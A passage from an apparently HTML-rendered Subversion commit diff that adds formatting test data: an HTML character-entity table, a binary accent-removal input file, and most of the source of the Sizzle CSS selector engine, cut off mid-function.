+asymp  | 8776  ### almost equal to, =asymptotic to, u+2248 ISOamsr 
+ne         | 8800      ### not equal to, u+2260 ISOtech 
+equiv  | 8801  ### identical to, u+2261 ISOtech 
+le         | 8804      ### less-than or equal to, u+2264 ISOtech 
+ge         | 8805      ### greater-than or equal to, u+2265 ISOtech 
+sub        | 8834      ### subset of, u+2282 ISOtech 
+sup        | 8835      ### superset of, u+2283 ISOtech 
+nsub   | 8836  ### not a subset of, u+2284 ISOamsn 
+sube   | 8838  ### subset of or equal to, u+2286 ISOtech 
+supe   | 8839  ### superset of or equal to, u+2287 ISOtech 
+oplus  | 8853  ### circled plus, =direct sum, u+2295 ISOamsb 
+otimes | 8855  ### circled times, =vector product, u+2297 ISOamsb 
+perp   | 8869  ### up tack, =orthogonal to, =perpendicular, u+22A5 ISOtech 
+sdot   | 8901  ### dot operator, u+22C5 ISOamsb 
+lceil  | 8968  ### left ceiling, =apl upstile, u+2308, ISOamsc  
+rceil  | 8969  ### right ceiling, u+2309, ISOamsc  
+lfloor | 8970  ### left floor, =apl downstile, u+230A, ISOamsc  
+rfloor | 8971  ### right floor, u+230B, ISOamsc  
+lang   | 9001  ### left-pointing angle bracket, =bra, u+2329 ISOtech 
+rang   | 9002  ### right-pointing angle bracket, =ket, u+232A ISOtech 
+loz        | 9674      ### lozenge, u+25CA ISOpub 
+spades | 9824  ### black spade suit, u+2660 ISOpub 
+clubs  | 9827  ### black club suit, =shamrock, u+2663 ISOpub 
+hearts | 9829  ### black heart suit, =valentine, u+2665 ISOpub 
+diams  | 9830  ### black diamond suit, u+2666 ISOpub 
+quot   | 34    ### quotation mark, =apl quote, u+0022 ISOnum 
+amp        | 38        ### ampersand, u+0026 ISOnum 
+lt         | 60        ### less-than sign, u+003C ISOnum 
+gt         | 62        ### greater-than sign, u+003E ISOnum 
+OElig  | 338   ### latin capital ligature oe, u+0152 ISOlat2 
+oelig  | 339   ### latin small ligature oe, u+0153 ISOlat2 
+Scaron | 352   ### latin capital letter s with caron, u+0160 ISOlat2 
+scaron | 353   ### latin small letter s with caron, u+0161 ISOlat2 
+Yuml   | 376   ### latin capital letter y with diaeresis, u+0178 ISOlat2 
+circ   | 710   ### modifier letter circumflex accent, u+02C6 ISOpub 
+tilde  | 732   ### small tilde, u+02DC ISOdia 
+ensp   | 8194  ### en space, u+2002 ISOpub 
+emsp   | 8195  ### em space, u+2003 ISOpub 
+thinsp | 8201  ### thin space, u+2009 ISOpub 
+zwnj   | 8204  ### zero width non-joiner, u+200C NEW RFC 2070 
+zwj        | 8205      ### zero width joiner, u+200D NEW RFC 2070 
+lrm        | 8206      ### left-to-right mark, u+200E NEW RFC 2070 
+rlm        | 8207      ### right-to-left mark, u+200F NEW RFC 2070 
+ndash  | 8211  ### en dash, u+2013 ISOpub 
+mdash  | 8212  ### em dash, u+2014 ISOpub 
+lsquo  | 8216  ### left single quotation mark, u+2018 ISOnum 
+rsquo  | 8217  ### right single quotation mark, u+2019 ISOnum 
+sbquo  | 8218  ### single low-9 quotation mark, u+201A NEW 
+ldquo  | 8220  ### left double quotation mark, u+201C ISOnum 
+rdquo  | 8221  ### right double quotation mark, u+201D ISOnum 
+bdquo  | 8222  ### double low-9 quotation mark, u+201E NEW 
+dagger | 8224  ### dagger, u+2020 ISOpub 
+Dagger | 8225  ### double dagger, u+2021 ISOpub 
+permil | 8240  ### per mille sign, u+2030 ISOtech 
+lsaquo | 8249  ### single left-pointing angle quotation mark; proposed but not yet standardised
+rsaquo | 8250  ### single right-pointing angle quotation mark; proposed but not yet standardised
</ins></span></pre></div>
<a id="trunktestsdataformattingremove_accents01inputtxt"></a>
<div class="binary"><h4>Added: trunk/tests/data/formatting/remove_accents.01.input.txt</h4>
<pre class="diff"><span>
<span class="cx">(Binary files differ)
</span></span></pre></div>
<span class="cx">Index: trunk/tests/data/formatting/remove_accents.01.input.txt
</span><span class="cx">===================================================================
</span><del>--- trunk/tests/data/formatting/remove_accents.01.input.txt     2013-08-07 05:25:25 UTC (rev 25001)
</del><ins>+++ trunk/tests/data/formatting/remove_accents.01.input.txt      2013-08-07 06:38:38 UTC (rev 25002)
</ins><span class="cx">Property changes on: trunk/tests/data/formatting/remove_accents.01.input.txt
</span><span class="cx">___________________________________________________________________
</span><a id="svnmimetype"></a>
<div class="addfile"><h4>Added: svn:mime-type</h4></div>
<ins>+application/octet-stream
</ins><span class="cx">\ No newline at end of property
</span><a id="trunktestsdataformattingsizzlejs"></a>
<div class="addfile"><h4>Added: trunk/tests/data/formatting/sizzle.js (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/data/formatting/sizzle.js                            (rev 0)
+++ trunk/tests/data/formatting/sizzle.js       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,1445 @@
</span><ins>+/*!
+ * Sizzle CSS Selector Engine
+ *  Copyright 2011, The Dojo Foundation
+ *  Released under the MIT, BSD, and GPL Licenses.
+ *  More information: http://sizzlejs.com/
+ */
+(function(){
+
+var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,
+       expando = "sizcache" + (Math.random() + '').replace('.', ''),
+       done = 0,
+       toString = Object.prototype.toString,
+       hasDuplicate = false,
+       baseHasDuplicate = true,
+       rBackslash = /\\/g,
+       rReturn = /\r\n/g,
+       rNonWord = /\W/;
+
+// Here we check if the JavaScript engine is using some sort of
+// optimization where it does not always call our comparision
+// function. If that is the case, discard the hasDuplicate value.
+//   Thus far that includes Google Chrome.
+[0, 0].sort(function() {
+       baseHasDuplicate = false;
+       return 0;
+});
+
+var Sizzle = function( selector, context, results, seed ) {
+       results = results || [];
+       context = context || document;
+
+       var origContext = context;
+
+       if ( context.nodeType !== 1 && context.nodeType !== 9 ) {
+               return [];
+       }
+
+       if ( !selector || typeof selector !== "string" ) {
+               return results;
+       }
+
+       var m, set, checkSet, extra, ret, cur, pop, i,
+               prune = true,
+               contextXML = Sizzle.isXML( context ),
+               parts = [],
+               soFar = selector;
+
+       // Reset the position of the chunker regexp (start from head)
+       do {
+               chunker.exec( "" );
+               m = chunker.exec( soFar );
+
+               if ( m ) {
+                       soFar = m[3];
+
+                       parts.push( m[1] );
+
+                       if ( m[2] ) {
+                               extra = m[3];
+                               break;
+                       }
+               }
+       } while ( m );
+
+       if ( parts.length > 1 && origPOS.exec( selector ) ) {
+
+               if ( parts.length === 2 && Expr.relative[ parts[0] ] ) {
+                       set = posProcess( parts[0] + parts[1], context, seed );
+
+               } else {
+                       set = Expr.relative[ parts[0] ] ?
+                               [ context ] :
+                               Sizzle( parts.shift(), context );
+
+                       while ( parts.length ) {
+                               selector = parts.shift();
+
+                               if ( Expr.relative[ selector ] ) {
+                                       selector += parts.shift();
+                               }
+
+                               set = posProcess( selector, set, seed );
+                       }
+               }
+
+       } else {
+               // Take a shortcut and set the context if the root selector is an ID
+               // (but not if it'll be faster if the inner selector is an ID)
+               if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML &&
+                               Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) {
+
+                       ret = Sizzle.find( parts.shift(), context, contextXML );
+                       context = ret.expr ?
+                               Sizzle.filter( ret.expr, ret.set )[0] :
+                               ret.set[0];
+               }
+
+               if ( context ) {
+                       ret = seed ?
+                               { expr: parts.pop(), set: makeArray(seed) } :
+                               Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML );
+
+                       set = ret.expr ?
+                               Sizzle.filter( ret.expr, ret.set ) :
+                               ret.set;
+
+                       if ( parts.length > 0 ) {
+                               checkSet = makeArray( set );
+
+                       } else {
+                               prune = false;
+                       }
+
+                       while ( parts.length ) {
+                               cur = parts.pop();
+                               pop = cur;
+
+                               if ( !Expr.relative[ cur ] ) {
+                                       cur = "";
+                               } else {
+                                       pop = parts.pop();
+                               }
+
+                               if ( pop == null ) {
+                                       pop = context;
+                               }
+
+                               Expr.relative[ cur ]( checkSet, pop, contextXML );
+                       }
+
+               } else {
+                       checkSet = parts = [];
+               }
+       }
+
+       if ( !checkSet ) {
+               checkSet = set;
+       }
+
+       if ( !checkSet ) {
+               Sizzle.error( cur || selector );
+       }
+
+       if ( toString.call(checkSet) === "[object Array]" ) {
+               if ( !prune ) {
+                       results.push.apply( results, checkSet );
+
+               } else if ( context && context.nodeType === 1 ) {
+                       for ( i = 0; checkSet[i] != null; i++ ) {
+                               if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) {
+                                       results.push( set[i] );
+                               }
+                       }
+
+               } else {
+                       for ( i = 0; checkSet[i] != null; i++ ) {
+                               if ( checkSet[i] && checkSet[i].nodeType === 1 ) {
+                                       results.push( set[i] );
+                               }
+                       }
+               }
+
+       } else {
+               makeArray( checkSet, results );
+       }
+
+       if ( extra ) {
+               Sizzle( extra, origContext, results, seed );
+               Sizzle.uniqueSort( results );
+       }
+
+       return results;
+};
+
+Sizzle.uniqueSort = function( results ) {
+       if ( sortOrder ) {
+               hasDuplicate = baseHasDuplicate;
+               results.sort( sortOrder );
+
+               if ( hasDuplicate ) {
+                       for ( var i = 1; i < results.length; i++ ) {
+                               if ( results[i] === results[ i - 1 ] ) {
+                                       results.splice( i--, 1 );
+                               }
+                       }
+               }
+       }
+
+       return results;
+};
+
+Sizzle.matches = function( expr, set ) {
+       return Sizzle( expr, null, null, set );
+};
+
+Sizzle.matchesSelector = function( node, expr ) {
+       return Sizzle( expr, null, null, [node] ).length > 0;
+};
+
+Sizzle.find = function( expr, context, isXML ) {
+       var set, i, len, match, type, left;
+
+       if ( !expr ) {
+               return [];
+       }
+
+       for ( i = 0, len = Expr.order.length; i < len; i++ ) {
+               type = Expr.order[i];
+
+               if ( (match = Expr.leftMatch[ type ].exec( expr )) ) {
+                       left = match[1];
+                       match.splice( 1, 1 );
+
+                       if ( left.substr( left.length - 1 ) !== "\\" ) {
+                               match[1] = (match[1] || "").replace( rBackslash, "" );
+                               set = Expr.find[ type ]( match, context, isXML );
+
+                               if ( set != null ) {
+                                       expr = expr.replace( Expr.match[ type ], "" );
+                                       break;
+                               }
+                       }
+               }
+       }
+
+       if ( !set ) {
+               set = typeof context.getElementsByTagName !== "undefined" ?
+                       context.getElementsByTagName( "*" ) :
+                       [];
+       }
+
+       return { set: set, expr: expr };
+};
+
+Sizzle.filter = function( expr, set, inplace, not ) {
+       var match, anyFound,
+               type, found, item, filter, left,
+               i, pass,
+               old = expr,
+               result = [],
+               curLoop = set,
+               isXMLFilter = set && set[0] && Sizzle.isXML( set[0] );
+
+       while ( expr && set.length ) {
+               for ( type in Expr.filter ) {
+                       if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) {
+                               filter = Expr.filter[ type ];
+                               left = match[1];
+
+                               anyFound = false;
+
+                               match.splice(1,1);
+
+                               if ( left.substr( left.length - 1 ) === "\\" ) {
+                                       continue;
+                               }
+
+                               if ( curLoop === result ) {
+                                       result = [];
+                               }
+
+                               if ( Expr.preFilter[ type ] ) {
+                                       match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter );
+
+                                       if ( !match ) {
+                                               anyFound = found = true;
+
+                                       } else if ( match === true ) {
+                                               continue;
+                                       }
+                               }
+
+                               if ( match ) {
+                                       for ( i = 0; (item = curLoop[i]) != null; i++ ) {
+                                               if ( item ) {
+                                                       found = filter( item, match, i, curLoop );
+                                                       pass = not ^ found;
+
+                                                       if ( inplace && found != null ) {
+                                                               if ( pass ) {
+                                                                       anyFound = true;
+
+                                                               } else {
+                                                                       curLoop[i] = false;
+                                                               }
+
+                                                       } else if ( pass ) {
+                                                               result.push( item );
+                                                               anyFound = true;
+                                                       }
+                                               }
+                                       }
+                               }
+
+                               if ( found !== undefined ) {
+                                       if ( !inplace ) {
+                                               curLoop = result;
+                                       }
+
+                                       expr = expr.replace( Expr.match[ type ], "" );
+
+                                       if ( !anyFound ) {
+                                               return [];
+                                       }
+
+                                       break;
+                               }
+                       }
+               }
+
+               // Improper expression
+               if ( expr === old ) {
+                       if ( anyFound == null ) {
+                               Sizzle.error( expr );
+
+                       } else {
+                               break;
+                       }
+               }
+
+               old = expr;
+       }
+
+       return curLoop;
+};
+
+Sizzle.error = function( msg ) {
+       throw new Error( "Syntax error, unrecognized expression: " + msg );
+};
+
+/**
+ * Utility function for retreiving the text value of an array of DOM nodes
+ * @param {Array|Element} elem
+ */
+var getText = Sizzle.getText = function( elem ) {
+    var i, node,
+               nodeType = elem.nodeType,
+               ret = "";
+
+       if ( nodeType ) {
+               if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
+                       // Use textContent || innerText for elements
+                       if ( typeof elem.textContent === 'string' ) {
+                               return elem.textContent;
+                       } else if ( typeof elem.innerText === 'string' ) {
+                               // Replace IE's carriage returns
+                               return elem.innerText.replace( rReturn, '' );
+                       } else {
+                               // Traverse it's children
+                               for ( elem = elem.firstChild; elem; elem = elem.nextSibling) {
+                                       ret += getText( elem );
+                               }
+                       }
+               } else if ( nodeType === 3 || nodeType === 4 ) {
+                       return elem.nodeValue;
+               }
+       } else {
+
+               // If no nodeType, this is expected to be an array
+               for ( i = 0; (node = elem[i]); i++ ) {
+                       // Do not traverse comment nodes
+                       if ( node.nodeType !== 8 ) {
+                               ret += getText( node );
+                       }
+               }
+       }
+       return ret;
+};
+
+var Expr = Sizzle.selectors = {
+       order: [ "ID", "NAME", "TAG" ],
+
+       match: {
+               ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+               CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,
+               NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,
+               ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,
+               TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,
+               CHILD: /:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,
+               POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,
+               PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/
+       },
+
+       leftMatch: {},
+
+       attrMap: {
+               "class": "className",
+               "for": "htmlFor"
+       },
+
+       attrHandle: {
+               href: function( elem ) {
+                       return elem.getAttribute( "href" );
+               },
+               type: function( elem ) {
+                       return elem.getAttribute( "type" );
+               }
+       },
+
+       relative: {
+               "+": function(checkSet, part){
+                       var isPartStr = typeof part === "string",
+                               isTag = isPartStr && !rNonWord.test( part ),
+                               isPartStrNotTag = isPartStr && !isTag;
+
+                       if ( isTag ) {
+                               part = part.toLowerCase();
+                       }
+
+                       for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) {
+                               if ( (elem = checkSet[i]) ) {
+                                       while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {}
+
+                                       checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ?
+                                               elem || false :
+                                               elem === part;
+                               }
+                       }
+
+                       if ( isPartStrNotTag ) {
+                               Sizzle.filter( part, checkSet, true );
+                       }
+               },
+
+               ">": function( checkSet, part ) {
+                       var elem,
+                               isPartStr = typeof part === "string",
+                               i = 0,
+                               l = checkSet.length;
+
+                       if ( isPartStr && !rNonWord.test( part ) ) {
+                               part = part.toLowerCase();
+
+                               for ( ; i < l; i++ ) {
+                                       elem = checkSet[i];
+
+                                       if ( elem ) {
+                                               var parent = elem.parentNode;
+                                               checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false;
+                                       }
+                               }
+
+                       } else {
+                               for ( ; i < l; i++ ) {
+                                       elem = checkSet[i];
+
+                                       if ( elem ) {
+                                               checkSet[i] = isPartStr ?
+                                                       elem.parentNode :
+                                                       elem.parentNode === part;
+                                       }
+                               }
+
+                               if ( isPartStr ) {
+                                       Sizzle.filter( part, checkSet, true );
+                               }
+                       }
+               },
+
+               "": function(checkSet, part, isXML){
+                       var nodeCheck,
+                               doneName = done++,
+                               checkFn = dirCheck;
+
+                       if ( typeof part === "string" && !rNonWord.test( part ) ) {
+                               part = part.toLowerCase();
+                               nodeCheck = part;
+                               checkFn = dirNodeCheck;
+                       }
+
+                       checkFn( "parentNode", part, doneName, checkSet, nodeCheck, isXML );
+               },
+
+               "~": function( checkSet, part, isXML ) {
+                       var nodeCheck,
+                               doneName = done++,
+                               checkFn = dirCheck;
+
+                       if ( typeof part === "string" && !rNonWord.test( part ) ) {
+                               part = part.toLowerCase();
+                               nodeCheck = part;
+                               checkFn = dirNodeCheck;
+                       }
+
+                       checkFn( "previousSibling", part, doneName, checkSet, nodeCheck, isXML );
+               }
+       },
+
+       find: {
+               ID: function( match, context, isXML ) {
+                       if ( typeof context.getElementById !== "undefined" && !isXML ) {
+                               var m = context.getElementById(match[1]);
+                               // Check parentNode to catch when Blackberry 4.6 returns
+                               // nodes that are no longer in the document #6963
+                               return m && m.parentNode ? [m] : [];
+                       }
+               },
+
+               NAME: function( match, context ) {
+                       if ( typeof context.getElementsByName !== "undefined" ) {
+                               var ret = [],
+                                       results = context.getElementsByName( match[1] );
+
+                               for ( var i = 0, l = results.length; i < l; i++ ) {
+                                       if ( results[i].getAttribute("name") === match[1] ) {
+                                               ret.push( results[i] );
+                                       }
+                               }
+
+                               return ret.length === 0 ? null : ret;
+                       }
+               },
+
+               TAG: function( match, context ) {
+                       if ( typeof context.getElementsByTagName !== "undefined" ) {
+                               return context.getElementsByTagName( match[1] );
+                       }
+               }
+       },
+       preFilter: {
+               CLASS: function( match, curLoop, inplace, result, not, isXML ) {
+                       match = " " + match[1].replace( rBackslash, "" ) + " ";
+
+                       if ( isXML ) {
+                               return match;
+                       }
+
+                       for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) {
+                               if ( elem ) {
+                                       if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n\r]/g, " ").indexOf(match) >= 0) ) {
+                                               if ( !inplace ) {
+                                                       result.push( elem );
+                                               }
+
+                                       } else if ( inplace ) {
+                                               curLoop[i] = false;
+                                       }
+                               }
+                       }
+
+                       return false;
+               },
+
+               ID: function( match ) {
+                       return match[1].replace( rBackslash, "" );
+               },
+
+               TAG: function( match, curLoop ) {
+                       return match[1].replace( rBackslash, "" ).toLowerCase();
+               },
+
+               CHILD: function( match ) {
+                       if ( match[1] === "nth" ) {
+                               if ( !match[2] ) {
+                                       Sizzle.error( match[0] );
+                               }
+
+                               match[2] = match[2].replace(/^\+|\s*/g, '');
+
+                               // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6'
+                               var test = /(-?)(\d*)(?:n([+\-]?\d*))?/.exec(
+                                       match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" ||
+                                       !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]);
+
+                               // calculate the numbers (first)n+(last) including if they are negative
+                               match[2] = (test[1] + (test[2] || 1)) - 0;
+                               match[3] = test[3] - 0;
+                       }
+                       else if ( match[2] ) {
+                               Sizzle.error( match[0] );
+                       }
+
+                       // TODO: Move to normal caching system
+                       match[0] = done++;
+
+                       return match;
+               },
+
+               ATTR: function( match, curLoop, inplace, result, not, isXML ) {
+                       var name = match[1] = match[1].replace( rBackslash, "" );
+
+                       if ( !isXML && Expr.attrMap[name] ) {
+                               match[1] = Expr.attrMap[name];
+                       }
+
+                       // Handle if an un-quoted value was used
+                       match[4] = ( match[4] || match[5] || "" ).replace( rBackslash, "" );
+
+                       if ( match[2] === "~=" ) {
+                               match[4] = " " + match[4] + " ";
+                       }
+
+                       return match;
+               },
+
+               PSEUDO: function( match, curLoop, inplace, result, not ) {
+                       if ( match[1] === "not" ) {
+                               // If we're dealing with a complex expression, or a simple one
+                               if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) {
+                                       match[3] = Sizzle(match[3], null, null, curLoop);
+
+                               } else {
+                                       var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not);
+
+                                       if ( !inplace ) {
+                                               result.push.apply( result, ret );
+                                       }
+
+                                       return false;
+                               }
+
+                       } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) {
+                               return true;
+                       }
+
+                       return match;
+               },
+
+               POS: function( match ) {
+                       match.unshift( true );
+
+                       return match;
+               }
+       },
+
+       filters: {
+               enabled: function( elem ) {
+                       return elem.disabled === false && elem.type !== "hidden";
+               },
+
+               disabled: function( elem ) {
+                       return elem.disabled === true;
+               },
+
+               checked: function( elem ) {
+                       return elem.checked === true;
+               },
+
+               selected: function( elem ) {
+                       // Accessing this property makes selected-by-default
+                       // options in Safari work properly
+                       if ( elem.parentNode ) {
+                               elem.parentNode.selectedIndex;
+                       }
+
+                       return elem.selected === true;
+               },
+
+               parent: function( elem ) {
+                       return !!elem.firstChild;
+               },
+
+               empty: function( elem ) {
+                       return !elem.firstChild;
+               },
+
+               has: function( elem, i, match ) {
+                       return !!Sizzle( match[3], elem ).length;
+               },
+
+               header: function( elem ) {
+                       return (/h\d/i).test( elem.nodeName );
+               },
+
+               text: function( elem ) {
+                       var attr = elem.getAttribute( "type" ), type = elem.type;
+                       // IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
+                       // use getAttribute instead to test this case
+                       return elem.nodeName.toLowerCase() === "input" && "text" === type && ( attr === type || attr === null );
+               },
+
+               radio: function( elem ) {
+                       return elem.nodeName.toLowerCase() === "input" && "radio" === elem.type;
+               },
+
+               checkbox: function( elem ) {
+                       return elem.nodeName.toLowerCase() === "input" && "checkbox" === elem.type;
+               },
+
+               file: function( elem ) {
+                       return elem.nodeName.toLowerCase() === "input" && "file" === elem.type;
+               },
+
+               password: function( elem ) {
+                       return elem.nodeName.toLowerCase() === "input" && "password" === elem.type;
+               },
+
+               submit: function( elem ) {
+                       var name = elem.nodeName.toLowerCase();
+                       return (name === "input" || name === "button") && "submit" === elem.type;
+               },
+
+               image: function( elem ) {
+                       return elem.nodeName.toLowerCase() === "input" && "image" === elem.type;
+               },
+
+               reset: function( elem ) {
+                       var name = elem.nodeName.toLowerCase();
+                       return (name === "input" || name === "button") && "reset" === elem.type;
+               },
+
+               button: function( elem ) {
+                       var name = elem.nodeName.toLowerCase();
+                       return name === "input" && "button" === elem.type || name === "button";
+               },
+
+               input: function( elem ) {
+                       return (/input|select|textarea|button/i).test( elem.nodeName );
+               },
+
+               focus: function( elem ) {
+                       return elem === elem.ownerDocument.activeElement;
+               }
+       },
+       setFilters: {
+               first: function( elem, i ) {
+                       return i === 0;
+               },
+
+               last: function( elem, i, match, array ) {
+                       return i === array.length - 1;
+               },
+
+               even: function( elem, i ) {
+                       return i % 2 === 0;
+               },
+
+               odd: function( elem, i ) {
+                       return i % 2 === 1;
+               },
+
+               lt: function( elem, i, match ) {
+                       return i < match[3] - 0;
+               },
+
+               gt: function( elem, i, match ) {
+                       return i > match[3] - 0;
+               },
+
+               nth: function( elem, i, match ) {
+                       return match[3] - 0 === i;
+               },
+
+               eq: function( elem, i, match ) {
+                       return match[3] - 0 === i;
+               }
+       },
+       filter: {
+               PSEUDO: function( elem, match, i, array ) {
+                       var name = match[1],
+                               filter = Expr.filters[ name ];
+
+                       if ( filter ) {
+                               return filter( elem, i, match, array );
+
+                       } else if ( name === "contains" ) {
+                               return (elem.textContent || elem.innerText || getText([ elem ]) || "").indexOf(match[3]) >= 0;
+
+                       } else if ( name === "not" ) {
+                               var not = match[3];
+
+                               for ( var j = 0, l = not.length; j < l; j++ ) {
+                                       if ( not[j] === elem ) {
+                                               return false;
+                                       }
+                               }
+
+                               return true;
+
+                       } else {
+                               Sizzle.error( name );
+                       }
+               },
+
+               CHILD: function( elem, match ) {
+                       var first, last,
+                               doneName, parent, cache,
+                               count, diff,
+                               type = match[1],
+                               node = elem;
+
+                       switch ( type ) {
+                               case "only":
+                               case "first":
+                                       while ( (node = node.previousSibling) ) {
+                                               if ( node.nodeType === 1 ) {
+                                                       return false;
+                                               }
+                                       }
+
+                                       if ( type === "first" ) {
+                                               return true;
+                                       }
+
+                                       node = elem;
+
+                                       /* falls through */
+                               case "last":
+                                       while ( (node = node.nextSibling) ) {
+                                               if ( node.nodeType === 1 ) {
+                                                       return false;
+                                               }
+                                       }
+
+                                       return true;
+
+                               case "nth":
+                                       first = match[2];
+                                       last = match[3];
+
+                                       if ( first === 1 && last === 0 ) {
+                                               return true;
+                                       }
+
+                                       doneName = match[0];
+                                       parent = elem.parentNode;
+
+                                       if ( parent && (parent[ expando ] !== doneName || !elem.nodeIndex) ) {
+                                               count = 0;
+
+                                               for ( node = parent.firstChild; node; node = node.nextSibling ) {
+                                                       if ( node.nodeType === 1 ) {
+                                                               node.nodeIndex = ++count;
+                                                       }
+                                               }
+
+                                               parent[ expando ] = doneName;
+                                       }
+
+                                       diff = elem.nodeIndex - last;
+
+                                       if ( first === 0 ) {
+                                               return diff === 0;
+
+                                       } else {
+                                               return ( diff % first === 0 && diff / first >= 0 );
+                                       }
+                       }
+               },
+
+               ID: function( elem, match ) {
+                       return elem.nodeType === 1 && elem.getAttribute("id") === match;
+               },
+
+               TAG: function( elem, match ) {
+                       return (match === "*" && elem.nodeType === 1) || !!elem.nodeName && elem.nodeName.toLowerCase() === match;
+               },
+
+               CLASS: function( elem, match ) {
+                       return (" " + (elem.className || elem.getAttribute("class")) + " ")
+                               .indexOf( match ) > -1;
+               },
+
+               ATTR: function( elem, match ) {
+                       var name = match[1],
+                               result = Sizzle.attr ?
+                                       Sizzle.attr( elem, name ) :
+                                       Expr.attrHandle[ name ] ?
+                                       Expr.attrHandle[ name ]( elem ) :
+                                       elem[ name ] != null ?
+                                               elem[ name ] :
+                                               elem.getAttribute( name ),
+                               value = result + "",
+                               type = match[2],
+                               check = match[4];
+
+                       return result == null ?
+                               type === "!=" :
+                               !type && Sizzle.attr ?
+                               result != null :
+                               type === "=" ?
+                               value === check :
+                               type === "*=" ?
+                               value.indexOf(check) >= 0 :
+                               type === "~=" ?
+                               (" " + value + " ").indexOf(check) >= 0 :
+                               !check ?
+                               value && result !== false :
+                               type === "!=" ?
+                               value !== check :
+                               type === "^=" ?
+                               value.indexOf(check) === 0 :
+                               type === "$=" ?
+                               value.substr(value.length - check.length) === check :
+                               type === "|=" ?
+                               value === check || value.substr(0, check.length + 1) === check + "-" :
+                               false;
+               },
+
+               POS: function( elem, match, i, array ) {
+                       var name = match[2],
+                               filter = Expr.setFilters[ name ];
+
+                       if ( filter ) {
+                               return filter( elem, i, match, array );
+                       }
+               }
+       }
+};
+
+var origPOS = Expr.match.POS,
+       fescape = function(all, num){
+               return "\\" + (num - 0 + 1);
+       };
+
+for ( var type in Expr.match ) {
+       Expr.match[ type ] = new RegExp( Expr.match[ type ].source + (/(?![^\[]*\])(?![^\(]*\))/.source) );
+       Expr.leftMatch[ type ] = new RegExp( /(^(?:.|\r|\n)*?)/.source + Expr.match[ type ].source.replace(/\\(\d+)/g, fescape) );
+}
+// Expose origPOS
+// "global" as in regardless of relation to brackets/parens
+Expr.match.globalPOS = origPOS;
+
+var makeArray = function( array, results ) {
+       array = Array.prototype.slice.call( array, 0 );
+
+       if ( results ) {
+               results.push.apply( results, array );
+               return results;
+       }
+
+       return array;
+};
+
+// Perform a simple check to determine if the browser is capable of
+// converting a NodeList to an array using builtin methods.
+// Also verifies that the returned array holds DOM nodes
+// (which is not the case in the Blackberry browser)
+try {
+       Array.prototype.slice.call( document.documentElement.childNodes, 0 )[0].nodeType;
+
+// Provide a fallback method if it does not work
+} catch( e ) {
+       makeArray = function( array, results ) {
+               var i = 0,
+                       ret = results || [];
+
+               if ( toString.call(array) === "[object Array]" ) {
+                       Array.prototype.push.apply( ret, array );
+
+               } else {
+                       if ( typeof array.length === "number" ) {
+                               for ( var l = array.length; i < l; i++ ) {
+                                       ret.push( array[i] );
+                               }
+
+                       } else {
+                               for ( ; array[i]; i++ ) {
+                                       ret.push( array[i] );
+                               }
+                       }
+               }
+
+               return ret;
+       };
+}
+
+var sortOrder, siblingCheck;
+
+if ( document.documentElement.compareDocumentPosition ) {
+       sortOrder = function( a, b ) {
+               if ( a === b ) {
+                       hasDuplicate = true;
+                       return 0;
+               }
+
+               if ( !a.compareDocumentPosition || !b.compareDocumentPosition ) {
+                       return a.compareDocumentPosition ? -1 : 1;
+               }
+
+               return a.compareDocumentPosition(b) & 4 ? -1 : 1;
+       };
+
+} else {
+       sortOrder = function( a, b ) {
+               // The nodes are identical, we can exit early
+               if ( a === b ) {
+                       hasDuplicate = true;
+                       return 0;
+
+               // Fallback to using sourceIndex (in IE) if it's available on both nodes
+               } else if ( a.sourceIndex && b.sourceIndex ) {
+                       return a.sourceIndex - b.sourceIndex;
+               }
+
+               var al, bl,
+                       ap = [],
+                       bp = [],
+                       aup = a.parentNode,
+                       bup = b.parentNode,
+                       cur = aup;
+
+               // If the nodes are siblings (or identical) we can do a quick check
+               if ( aup === bup ) {
+                       return siblingCheck( a, b );
+
+               // If no parents were found then the nodes are disconnected
+               } else if ( !aup ) {
+                       return -1;
+
+               } else if ( !bup ) {
+                       return 1;
+               }
+
+               // Otherwise they're somewhere else in the tree so we need
